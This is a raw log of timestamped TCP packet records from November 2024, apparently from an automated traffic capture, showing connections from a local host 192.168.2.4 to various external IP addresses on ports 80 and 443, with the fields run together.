                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.887458086 CET4976780192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.890232086 CET8049763154.85.183.50192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.890285969 CET4976380192.168.2.4154.85.183.50
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.892086029 CET8055748103.224.182.252192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.892867088 CET804976764.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.905636072 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.910568953 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.910655022 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.910888910 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.915652990 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.917732954 CET8055749103.224.212.210192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.917776108 CET5574980192.168.2.4103.224.212.210
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.919307947 CET5574980192.168.2.4103.224.212.210
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.924416065 CET8055749103.224.212.210192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.924468040 CET5574980192.168.2.4103.224.212.210
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.031629086 CET4976980192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.031891108 CET5575180192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.036735058 CET8049769199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.036776066 CET8055751199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.036834002 CET5575180192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.036979914 CET5575180192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.041727066 CET8055751199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.462105989 CET8055751199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.462188005 CET5575180192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.462296963 CET8055751199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.462356091 CET5575180192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651479959 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651498079 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651510954 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651566029 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651566029 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651647091 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651658058 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651669979 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651680946 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651709080 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651709080 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.652060032 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.652070045 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.652082920 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.652110100 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.652142048 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.656424999 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.656518936 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.656567097 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.656578064 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.656985044 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.739988089 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740036011 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740050077 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740094900 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740128040 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740181923 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740196943 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740297079 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740371943 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740418911 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740479946 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740492105 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740530014 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740636110 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740686893 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740696907 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740708113 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.740741014 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.919795990 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.919853926 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.919873953 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.919882059 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.919902086 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.919930935 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920000076 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920078039 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920124054 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920130014 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920154095 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920190096 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920195103 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920506001 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920541048 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920547962 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.920603991 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.000647068 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.000703096 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.000716925 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.000735044 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.000758886 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.000791073 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.000802994 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.000983953 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001018047 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001023054 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001035929 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001058102 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001092911 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001127958 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001523972 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001576900 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001585007 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001621962 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001626968 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001673937 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001784086 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.001840115 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.002331018 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.002379894 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.002407074 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.002573013 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.002578974 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.002619982 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.002624989 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.002659082 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003155947 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003196955 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003221035 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003324986 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003329992 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003436089 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003446102 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003451109 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003473997 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.003500938 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105084896 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105150938 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105179071 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105211973 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105216980 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105237007 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105247021 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105249882 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105259895 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105281115 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105293989 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105659962 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105696917 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105703115 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105740070 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.105868101 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106239080 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106292009 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106297016 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106472015 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106683969 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106714010 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106734991 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106739998 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106758118 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.106801033 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.107371092 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.107423067 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.107644081 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.107700109 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.107968092 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.108015060 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.108273983 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.108324051 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.108551979 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.108597040 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.108603001 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.108670950 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.108710051 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.261687994 CET5575380192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.269321918 CET805575372.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.269395113 CET5575380192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.269740105 CET5575380192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.275875092 CET805575372.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.763474941 CET805575372.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.763550043 CET5575380192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.763613939 CET5575380192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.768671036 CET805575372.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:03.724736929 CET5575480192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:03.730088949 CET805575472.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:03.730431080 CET5575480192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:03.731367111 CET5575480192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:03.736602068 CET805575472.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:03.881452084 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:03.881561041 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.244787931 CET805575472.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.244843960 CET5575480192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.280718088 CET5575480192.168.2.472.52.179.174
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.285521030 CET805575472.52.179.174192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:05.740113974 CET805575064.190.63.136192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:05.741923094 CET5575080192.168.2.464.190.63.136
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.802642107 CET8055730199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.802726030 CET5573080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.280877113 CET6088580192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.281132936 CET6088680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.282927990 CET6088780192.168.2.4178.162.203.202
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.285710096 CET806088544.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.285799980 CET6088580192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.285923004 CET8060886208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.286328077 CET6088680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.287704945 CET8060887178.162.203.202192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.287753105 CET6088780192.168.2.4178.162.203.202
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.294037104 CET6088880192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.298870087 CET8060888199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.298929930 CET6088880192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.340915918 CET6088880192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.341134071 CET6088780192.168.2.4178.162.203.202
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.341259956 CET6088680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.341919899 CET6088580192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.345700026 CET8060888199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.345873117 CET8060887178.162.203.202192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.346143007 CET8060886208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.346661091 CET806088544.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.394198895 CET6088680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.394274950 CET6088580192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.394376040 CET6088780192.168.2.4178.162.203.202
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.394409895 CET6088880192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.468427896 CET8055751199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.468503952 CET5575180192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:13.005620003 CET8055732162.255.119.102192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:13.006035089 CET5573280192.168.2.4162.255.119.102
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.338387012 CET6090680192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.343262911 CET8060906199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.343359947 CET6090680192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.352799892 CET6090680192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.357672930 CET8060906199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.411780119 CET6090680192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.597768068 CET6091680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.598994970 CET6091780192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.605310917 CET8060916208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.605835915 CET8060917199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.606220961 CET6091680192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.606255054 CET6091780192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.620028019 CET6091780192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.625500917 CET8060917199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.043119907 CET8060917199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.043450117 CET8060917199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.043517113 CET6091780192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.874975920 CET5573080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.875015020 CET5573080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.875216961 CET5573580192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.877068996 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.877068996 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.877105951 CET44355746188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.877310038 CET55746443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.878918886 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.879276991 CET4991580192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.879892111 CET8055730199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.879940987 CET5573080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.879992008 CET805573544.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.880697012 CET5573380192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.883774996 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.883833885 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.884128094 CET80499153.94.10.34192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.884185076 CET4991580192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.885456085 CET805573344.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.885495901 CET55744443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.885521889 CET4435574475.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.885545969 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.885571003 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.885616064 CET5573680192.168.2.418.208.156.248
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.886862993 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.887260914 CET4991580192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.890497923 CET805574391.195.240.19192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.890510082 CET805573618.208.156.248192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.890558958 CET5574380192.168.2.491.195.240.19
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.891633034 CET5573480192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.891729116 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.892098904 CET80499153.94.10.34192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.896420956 CET8055734188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:22.319806099 CET80499153.94.10.34192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:22.319863081 CET4991580192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:49:22.321820021 CET80499153.94.10.34192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:22.321892023 CET4991580192.168.2.43.94.10.34
                                                                                                                                                                                                                    Nov 11, 2024 18:49:22.322820902 CET8055734188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:22.322905064 CET5573480192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397816896 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397840977 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397854090 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397911072 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397974014 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397995949 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398077011 CET4991480192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398087978 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398097992 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398108959 CET8049914199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.398121119 CET8049914199.191.50.83192.168.2.4
